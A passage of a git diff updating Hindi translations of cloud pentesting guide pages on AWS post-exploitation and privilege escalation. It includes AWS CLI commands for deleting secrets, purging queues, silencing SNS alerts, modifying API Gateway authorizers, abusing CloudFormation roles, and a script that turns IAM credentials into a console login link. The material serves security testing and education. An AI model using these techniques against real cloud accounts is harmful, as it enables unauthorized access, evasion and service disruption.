अंतिम फ़ाइल अपलोड कर सकता है, जिसे आमतौर पर "ransom-note.txt" कहा जाता है, जिसमें लक्षित के लिए उनके फ़ाइलों को पुनर्प्राप्त करने के लिए निर्देश होते हैं। यह फ़ाइल बिना एन्क्रिप्शन के अपलोड की जाती है, संभवतः लक्षित का ध्यान आकर्षित करने और उन्हें रैंसमवेयर हमले के बारे में जागरूक करने के लिए। **अधिक जानकारी के लिए** [**मूल शोध देखें**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**।** diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 37773ec8d..2fd584b2a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -12,7 +12,7 @@ ### Read Secrets -**गुप्त स्वयं संवेदनशील जानकारी हैं**, [प्रिवेस्क पृष्ठ देखें](../aws-privilege-escalation/aws-secrets-manager-privesc.md) यह जानने के लिए कि उन्हें कैसे पढ़ें। +**गुप्त जानकारी स्वयं संवेदनशील होती है**, [प्रिवेस्क पृष्ठ देखें](../aws-privilege-escalation/aws-secrets-manager-privesc.md) यह जानने के लिए कि उन्हें कैसे पढ़ें। ### DoS Change Secret Value @@ -32,9 +32,9 @@ aws secretsmanager update-secret \ --secret-id MyTestSecret \ --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` -### DoS Secret हटाना +### DoS Secret को हटाना -गुप्त को हटाने के लिए न्यूनतम दिनों की संख्या 7 है +एक रहस्य को हटाने के लिए न्यूनतम दिनों की संख्या 7 है ```bash aws secretsmanager delete-secret \ --secret-id MyTestSecret \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index 845f86c77..2593f6c08 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -55,13 +55,15 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` +अभी परीक्षण करना बाकी है। + ### `ses:SendCustomVerificationEmail` -यह एक कस्टमाइज्ड वेरिफिकेशन ईमेल भेजेगा। आपको टेम्पलेट ईमेल बनाने के लिए भी अनुमतियों की आवश्यकता हो सकती है। +यह एक अनुकूलित सत्यापन ईमेल भेजेगा। आपको टेम्पलेट ईमेल बनाने के लिए भी अनुमतियों की आवश्यकता हो सकती है। ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` -अभी परीक्षण करना बाकी है। +अभी परीक्षण करना बाकी है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index 0b8c5085f..48fa2305f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - SNS Post Exploitation +# AWS - SNS पोस्ट एक्सप्लॉइटेशन {{#include ../../../banners/hacktricks-training.md}} @@ -10,9 +10,9 @@ ../aws-services/aws-sns-enum.md {{#endref}} -### Disrupt Messages +### संदेशों को बाधित करें -कई मामलों में, SNS विषयों का उपयोग उन प्लेटफार्मों को संदेश भेजने के लिए किया जाता है जो निगरानी में हैं (ईमेल, स्लैक संदेश...)। यदि एक हमलावर उन संदेशों को भेजने से रोकता है जो इसके क्लाउड में उपस्थिति के बारे में चेतावनी देते हैं, तो वह बिना पहचाने रह सकता है। +कई मामलों में, SNS विषयों का उपयोग उन प्लेटफार्मों को संदेश भेजने के लिए किया जाता है जो निगरानी में हैं (ईमेल, स्लैक संदेश...)। यदि एक हमलावर उन संदेशों को भेजने से रोकता है जो इसके क्लाउड में उपस्थिति के बारे में चेतावनी देते हैं, तो वह अदृश्य रह सकता है। ### `sns:DeleteTopic` @@ -45,11 +45,11 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` -**संभावित प्रभाव**: संदेशों तक अनधिकृत पहुंच, प्रभावित विषय पर निर्भर अनुप्रयोगों के लिए सेवा में बाधा। +**संभावित प्रभाव**: संदेशों तक अनधिकृत पहुंच, प्रभावित विषय पर निर्भर करने वाले अनुप्रयोगों के लिए सेवा में बाधा। ### `sns:AddPermission` , `sns:RemovePermission` -एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को एक SNS विषय तक पहुंच प्रदान कर सकता है, या वैध उपयोगकर्ताओं के लिए अनुमतियों को रद्द कर सकता है, जिससे उस विषय पर निर्भर अनुप्रयोगों के सामान्य कार्य में बाधा उत्पन्न होती है। +एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को एक SNS विषय तक पहुंच प्रदान कर सकता है, या वैध उपयोगकर्ताओं के लिए अनुमतियों को रद्द कर सकता है, जिससे उस विषय पर निर्भर करने वाले अनुप्रयोगों के सामान्य कार्य में बाधा उत्पन्न होती है। ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 197d41072..c85c468e8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -17,7 +17,7 @@ aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**संभावित प्रभाव**: भेद्यता शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति। +**संभावित प्रभाव**: कमजोरियों का शोषण, डेटा भ्रष्टाचार, अनपेक्षित क्रियाएँ, या संसाधन समाप्ति। ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` @@ -39,7 +39,7 @@ Copy codeaws sqs delete-queue --queue-url ### `sqs:PurgeQueue` -एक हमलावर SQS कतार से सभी संदेशों को हटाने में सक्षम हो सकता है, जिससे संदेश हानि और उन संदेशों पर निर्भर अनुप्रयोगों में संभावित बाधा उत्पन्न हो सकती है। +एक हमलावर SQS कतार से सभी संदेशों को हटाकर संदेश हानि और उन संदेशों पर निर्भर करने वाले अनुप्रयोगों में संभावित बाधा का कारण बन सकता है। ```arduino Copy codeaws sqs purge-queue --queue-url ``` @@ -47,7 +47,7 @@ Copy codeaws sqs purge-queue --queue-url ### `sqs:SetQueueAttributes` -एक हमलावर SQS कतार के गुणों को संशोधित कर सकता है, जो इसके प्रदर्शन, सुरक्षा, या उपलब्धता को प्रभावित कर सकता है। +एक हमलावर SQS कतार के गुणों को संशोधित कर सकता है, जो इसके प्रदर्शन, सुरक्षा या उपलब्धता को प्रभावित कर सकता है। ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` @@ -55,19 +55,19 @@ aws sqs set-queue-attributes --queue-url --attributes ### `sqs:TagQueue` , `sqs:UntagQueue` -एक हमलावर SQS संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुँच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है। +एक हमलावर SQS संसाधनों से टैग जोड़ सकता है, संशोधित कर सकता है, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुँच नियंत्रण नीतियों में बाधा उत्पन्न होती है। ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` -**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में व्यवधान। +**संभावित प्रभाव**: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित पहुंच नियंत्रण नीतियों में विघटन। ### `sqs:RemovePermission` -एक हमलावर वैध उपयोगकर्ताओं या सेवाओं के लिए अनुमतियों को रद्द कर सकता है, SQS कतार से संबंधित नीतियों को हटाकर। इससे उन अनुप्रयोगों के सामान्य कार्य में व्यवधान आ सकता है जो कतार पर निर्भर करते हैं। +एक हमलावर SQS कतार से संबंधित नीतियों को हटाकर वैध उपयोगकर्ताओं या सेवाओं के लिए अनुमतियों को रद्द कर सकता है। इससे उन अनुप्रयोगों के सामान्य कार्य में विघटन हो सकता है जो कतार पर निर्भर करते हैं। ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` -**संभावित प्रभाव**: अनुमति के अनधिकृत हटाने के कारण कतार पर निर्भर अनुप्रयोगों के सामान्य कार्य में बाधा। +**संभावित प्रभाव**: कतार पर निर्भर अनुप्रयोगों के सामान्य कार्य में बाधा unauthorized अनुमति हटाने के कारण। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 27408f3f4..90844711d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -33,30 +33,30 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` -- **संभावित प्रभाव**: महत्वपूर्ण कार्यप्रवाहों में विघटन, डेटा हानि, और संचालन में रुकावट। +- **संभावित प्रभाव**: महत्वपूर्ण कार्यप्रवाहों में बाधा, डेटा हानि, और संचालन में रुकावट। ### `states:UpdateMapRun` -इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम संख्या को बढ़ाने या घटाने में सक्षम हो सकता है जो बाल कार्यप्रवाह निष्पादन की अनुमति है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अतिरिक्त, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों को बाधित करता है। +इस अनुमति के साथ एक हमलावर Map Run विफलता कॉन्फ़िगरेशन और समानांतर सेटिंग को हेरफेर कर सकता है, अधिकतम संख्या को बढ़ाने या घटाने में सक्षम हो सकता है जो बाल कार्यप्रवाह निष्पादन की अनुमति है, जो सेवा के प्रदर्शन को सीधे प्रभावित करता है। इसके अतिरिक्त, एक हमलावर सहनशील विफलता प्रतिशत और गणना के साथ छेड़छाड़ कर सकता है, इस मान को 0 तक घटाने में सक्षम हो सकता है ताकि हर बार जब एक आइटम विफल होता है, तो पूरा मैप रन विफल हो जाए, जो राज्य मशीन निष्पादन को सीधे प्रभावित करता है और संभावित रूप से महत्वपूर्ण कार्यप्रवाहों में बाधा डालता है। ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` -- **संभावित प्रभाव**: प्रदर्शन में गिरावट, और महत्वपूर्ण कार्यप्रवाहों में बाधा। +- **संभावित प्रभाव**: प्रदर्शन में कमी, और महत्वपूर्ण कार्यप्रवाहों में बाधा। ### `states:StopExecution` इस अनुमति के साथ एक हमलावर किसी भी राज्य मशीन के निष्पादन को रोकने में सक्षम हो सकता है, चल रहे कार्यप्रवाहों और प्रक्रियाओं में बाधा डाल सकता है। इससे अधूरे लेनदेन, रुके हुए व्यावसायिक संचालन, और संभावित डेटा भ्रष्टाचार हो सकता है। > [!WARNING] -> यह क्रिया **एक्सप्रेस राज्य मशीनों** द्वारा समर्थित नहीं है। +> यह क्रिया **express state machines** द्वारा समर्थित नहीं है। ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` -- **संभावित प्रभाव**: चल रहे कार्यप्रवाहों में विघटन, संचालन में रुकावट, और संभावित डेटा भ्रष्टाचार। +- **संभावित प्रभाव**: चल रहे कार्यप्रवाहों में बाधा, संचालन में रुकावट, और संभावित डेटा भ्रष्टाचार। ### `states:TagResource`, `states:UntagResource` -एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में विघटन हो सकता है। +एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटा सकता है, जिससे आपकी संगठन की लागत आवंटन, संसाधन ट्रैकिंग, और टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा उत्पन्न हो सकती है। ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 1592d5524..e91831ec8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -12,8 +12,8 @@ ### IAM क्रेडेंशियल्स से कंसोल तक -यदि आप कुछ IAM क्रेडेंशियल्स प्राप्त करने में सफल रहे हैं, तो आप निम्नलिखित उपकरणों का उपयोग करके **वेब कंसोल तक पहुँचने में रुचि रख सकते हैं**।\ -ध्यान दें कि उपयोगकर्ता/भूमिका के पास **`sts:GetFederationToken`** अनुमति होनी चाहिए। +यदि आप कुछ IAM क्रेडेंशियल्स प्राप्त करने में सफल रहे हैं, तो आप **वेब कंसोल तक पहुँचने** में रुचि रख सकते हैं, निम्नलिखित उपकरणों का उपयोग करके।\ +ध्यान दें कि उपयोगकर्ता/भूमिका को **`sts:GetFederationToken`** अनुमति होनी चाहिए। #### कस्टम स्क्रिप्ट @@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` @@ -69,7 +68,7 @@ aws_consoler [params...] #This will generate a link to login into the console #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) एक उपकरण है जो विकास वातावरण में AWS क्रेडेंशियल्स को सुरक्षित रूप से स्टोर और एक्सेस करने के लिए है। +[**aws-vault**](https://github.com/99designs/aws-vault) एक उपकरण है जो विकास वातावरण में AWS क्रेडेंशियल्स को सुरक्षित रूप से संग्रहीत और एक्सेस करने के लिए है। ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds @@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith ### **Python से User-Agent प्रतिबंधों को बायपास करें** -यदि **उपयोगकर्ता एजेंट** के आधार पर कुछ क्रियाएँ करने पर **प्रतिबंध** है (जैसे उपयोगकर्ता एजेंट के आधार पर python boto3 पुस्तकालय का उपयोग प्रतिबंधित करना) तो आप **ब्राउज़र के माध्यम से वेब कंसोल से कनेक्ट करने** के लिए पिछले तकनीक का उपयोग कर सकते हैं, या आप सीधे **boto3 उपयोगकर्ता-एजेंट** को संशोधित कर सकते हैं: +यदि **उपयोगकर्ता एजेंट** के आधार पर कुछ क्रियाएँ करने पर **प्रतिबंध है** (जैसे उपयोगकर्ता एजेंट के आधार पर python boto3 लाइब्रेरी के उपयोग को प्रतिबंधित करना) तो आप **ब्राउज़र के माध्यम से वेब कंसोल से कनेक्ट करने के लिए** पिछले तकनीक का उपयोग कर सकते हैं, या आप सीधे **boto3 उपयोगकर्ता-एजेंट को संशोधित कर सकते हैं**: ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index f7db71d32..8947a29c7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -7,11 +7,11 @@ AWS में अपने विशेषाधिकारों को बढ़ाने का तरीका यह है कि आपके पास अन्य भूमिकाओं/उपयोगकर्ताओं/समूहों के विशेषाधिकारों तक पहुँचने के लिए पर्याप्त अनुमतियाँ हों। प्रशासनिक पहुँच प्राप्त करने के लिए बढ़ते विशेषाधिकारों को जोड़ना। > [!WARNING] -> AWS के पास **सैकड़ों** (यदि हजारों नहीं) **अनुमतियाँ** हैं जो किसी इकाई को दी जा सकती हैं। इस पुस्तक में आप **सभी अनुमतियाँ** पा सकते हैं जो मैं जानता हूँ कि आप **विशेषाधिकार बढ़ाने** के लिए दुरुपयोग कर सकते हैं, लेकिन यदि आप **कोई ऐसा मार्ग** जानते हैं जो यहाँ उल्लेखित नहीं है, **कृपया साझा करें**। +> AWS के पास **सैकड़ों** (यदि हजारों नहीं) **अनुमतियाँ** हैं जो किसी इकाई को दी जा सकती हैं। इस पुस्तक में आप **सभी अनुमतियाँ** पा सकते हैं जो मैं जानता हूँ कि आप **विशेषाधिकार बढ़ाने** के लिए दुरुपयोग कर सकते हैं, लेकिन यदि आप **कोई ऐसा मार्ग** जानते हैं जो यहाँ उल्लेखित नहीं है, **कृपया इसे साझा करें**। > [!CAUTION] > यदि एक IAM नीति में `"Effect": "Allow"` और `"NotAction": "Someaction"` है जो एक **संसाधन** को इंगित करता है... तो इसका मतलब है कि **अनुमत प्रधान** को **उस निर्दिष्ट क्रिया के अलावा कुछ भी करने की अनुमति है**।\ -> इसलिए याद रखें कि यह एक और तरीका है **विशेषाधिकार प्राप्त अनुमतियाँ** देने का। +> इसलिए याद रखें कि यह एक और तरीका है **एक प्रधान को विशेषाधिकार प्राप्त अनुमतियाँ देने** का। **इस अनुभाग के पृष्ठ AWS सेवा के अनुसार क्रमबद्ध हैं। वहाँ आप ऐसी अनुमतियाँ पाएंगे जो आपको विशेषाधिकार बढ़ाने की अनुमति देंगी।** diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index af85abe12..1ab965a3e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -16,33 +16,33 @@ ```bash aws --region apigateway create-api-key ``` -**संभावित प्रभाव:** आप इस तकनीक से प्रिविलेज़ एस्केलेशन नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है। +**संभावित प्रभाव:** आप इस तकनीक से प्रिवेस्क नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है। ### `apigateway:GET` -इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs के जनरेटेड API कुंजी प्राप्त कर सकते हैं (प्रति क्षेत्र)। +इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs के उत्पन्न API कुंजी प्राप्त कर सकते हैं (प्रति क्षेत्र)। ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**संभावित प्रभाव:** आप इस तकनीक के साथ प्रिवेस्क नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है। +**संभावित प्रभाव:** आप इस तकनीक से प्रिविलेज़ एस्केलेशन नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है। ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -इन अनुमतियों के साथ, एक API की संसाधन नीति को संशोधित करना संभव है ताकि आप इसे कॉल करने और API गेटवे के संभावित पहुंच का दुरुपयोग कर सकें (जैसे कि एक कमजोर लैम्ब्डा को सक्रिय करना)। +इन अनुमतियों के साथ, एक API की संसाधन नीति को संशोधित करना संभव है ताकि आप इसे कॉल करने और API गेटवे के संभावित पहुँच का दुरुपयोग करने के लिए खुद को पहुँच दे सकें (जैसे कि एक कमजोर लैम्ब्डा को सक्रिय करना)। ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` -**संभावित प्रभाव:** आप आमतौर पर इस तकनीक के साथ सीधे प्रिवेस्क नहीं कर पाएंगे लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है। +**संभावित प्रभाव:** आप आमतौर पर इस तकनीक के साथ सीधे प्रिवेस्क नहीं कर पाएंगे, लेकिन आपको संवेदनशील जानकारी तक पहुंच मिल सकती है। ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] > परीक्षण की आवश्यकता है -एक हमलावर जिसके पास `apigateway:PutIntegration`, `apigateway:CreateDeployment`, और `iam:PassRole` की अनुमति है, **एक मौजूदा API Gateway REST API में एक नया इंटीग्रेशन जोड़ सकता है जिसमें एक IAM भूमिका संलग्न Lambda फ़ंक्शन है**। फिर हमलावर **Lambda फ़ंक्शन को मनमाने कोड को निष्पादित करने के लिए ट्रिगर कर सकता है और संभावित रूप से IAM भूमिका से संबंधित संसाधनों तक पहुंच प्राप्त कर सकता है**। +एक हमलावर जिसके पास `apigateway:PutIntegration`, `apigateway:CreateDeployment`, और `iam:PassRole` की अनुमति है, **एक मौजूदा API Gateway REST API में एक नया इंटीग्रेशन जोड़ सकता है जिसमें एक IAM भूमिका संलग्न Lambda फ़ंक्शन है**। हमलावर फिर **Lambda फ़ंक्शन को मनमाने कोड को निष्पादित करने के लिए ट्रिगर कर सकता है और संभावित रूप से IAM भूमिका से संबंधित संसाधनों तक पहुंच प्राप्त कर सकता है**। ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod > [!NOTE] > परीक्षण की आवश्यकता है -`apigateway:UpdateAuthorizer` और `apigateway:CreateDeployment` अनुमतियों के साथ एक हमलावर **एक मौजूदा API गेटवे ऑथराइज़र को संशोधित** कर सकता है ताकि सुरक्षा जांचों को बायपास किया जा सके या API अनुरोध किए जाने पर मनमाने कोड को निष्पादित किया जा सके। +एक हमलावर जिसके पास `apigateway:UpdateAuthorizer` और `apigateway:CreateDeployment` की अनुमति है, वह **एक मौजूदा API गेटवे ऑथराइज़र को संशोधित कर सकता है** ताकि सुरक्षा जांचों को बायपास किया जा सके या API अनुरोध किए जाने पर मनमाने कोड को निष्पादित किया जा सके। ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod > [!NOTE] > परीक्षण की आवश्यकता है -एक हमलावर जिसके पास अनुमति `apigateway:UpdateVpcLink` है, **एक मौजूदा VPC लिंक को एक अलग नेटवर्क लोड बैलेंसर की ओर मोड़ सकता है, संभावित रूप से निजी API ट्रैफ़िक को अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित कर सकता है**। +`apigateway:UpdateVpcLink` अनुमति वाला एक हमलावर **एक मौजूदा VPC लिंक को एक अलग नेटवर्क लोड बैलेंसर की ओर मोड़ सकता है, संभावित रूप से निजी API ट्रैफ़िक को अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित कर सकता है**। ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 3dd2b6db7..92fa8effd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -37,23 +37,23 @@ aws cloudformation update-stack \ --capabilities CAPABILITY_IAM \ --region eu-west-1 ``` -The `cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम देने के लिए। +`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है। **संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क। ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -यदि आपके पास यह अनुमति है लेकिन **कोई `iam:PassRole` नहीं है**, तो आप अभी भी **उपयोग किए गए स्टैक्स को अपडेट कर सकते हैं** और **IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से ही संलग्न हैं**। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)। +यदि आपके पास यह अनुमति है लेकिन **कोई `iam:PassRole` नहीं है**, तो आप अभी भी **उपयोग किए गए स्टैक्स को अपडेट कर सकते हैं** और **IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से जुड़ी हुई हैं**। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)। -`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम देने के लिए। +`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है। -**संभावित प्रभाव:** पहले से संलग्न क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क। +**संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क जो पहले से जुड़ी हुई है। ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) एक हमलावर जिसके पास **भूमिका पास करने और एक ChangeSet बनाने और निष्पादित करने की अनुमति है** वह **एक नया क्लाउडफॉर्मेशन स्टैक बना/अपडेट कर सकता है और क्लाउडफॉर्मेशन सेवा भूमिकाओं का दुरुपयोग कर सकता है** जैसे कि CreateStack या UpdateStack के साथ। -निम्नलिखित शोषण **[CreateStack एक](./#iam-passrole-cloudformation-createstack)** का एक **भिन्नता है** जो **ChangeSet अनुमतियों** का उपयोग करके एक स्टैक बनाने के लिए है। +निम्नलिखित शोषण **CreateStack एक**[ **का एक भिन्नता है**](./#iam-passrole-cloudformation-createstack) जो **ChangeSet अनुमतियों** का उपयोग करके एक स्टैक बनाने के लिए है। ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -79,7 +79,7 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -The `cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `ChangeSet` अनुमतियाँ देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है। +`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `ChangeSet` अनुमतियाँ देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है। **संभावित प्रभाव:** cloudformation सेवा भूमिकाओं के लिए प्रिवेस्क। @@ -93,13 +93,13 @@ The `cloudformation:SetStackPolicy` अनुमति का उपयोग ** ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट्स बनाने/अपडेट करने के लिए मनमाने क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग कर सकता है। +एक हमलावर इन अनुमतियों का दुरुपयोग करके स्टैकसेट बनाने/अपडेट करने के लिए दुरुपयोग कर सकता है ताकि मनमाने क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके। **संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिकाओं के लिए प्रिवेस्क। ### `cloudformation:UpdateStackSet` -एक हमलावर इस अनुमति का दुरुपयोग बिना पासरोल अनुमति के स्टैकसेट्स को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके। +एक हमलावर इस अनुमति का दुरुपयोग बिना passRole अनुमति के स्टैकसेट को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके। **संभावित प्रभाव:** जुड़े क्लाउडफॉर्मेशन भूमिकाओं के लिए प्रिवेस्क। diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md 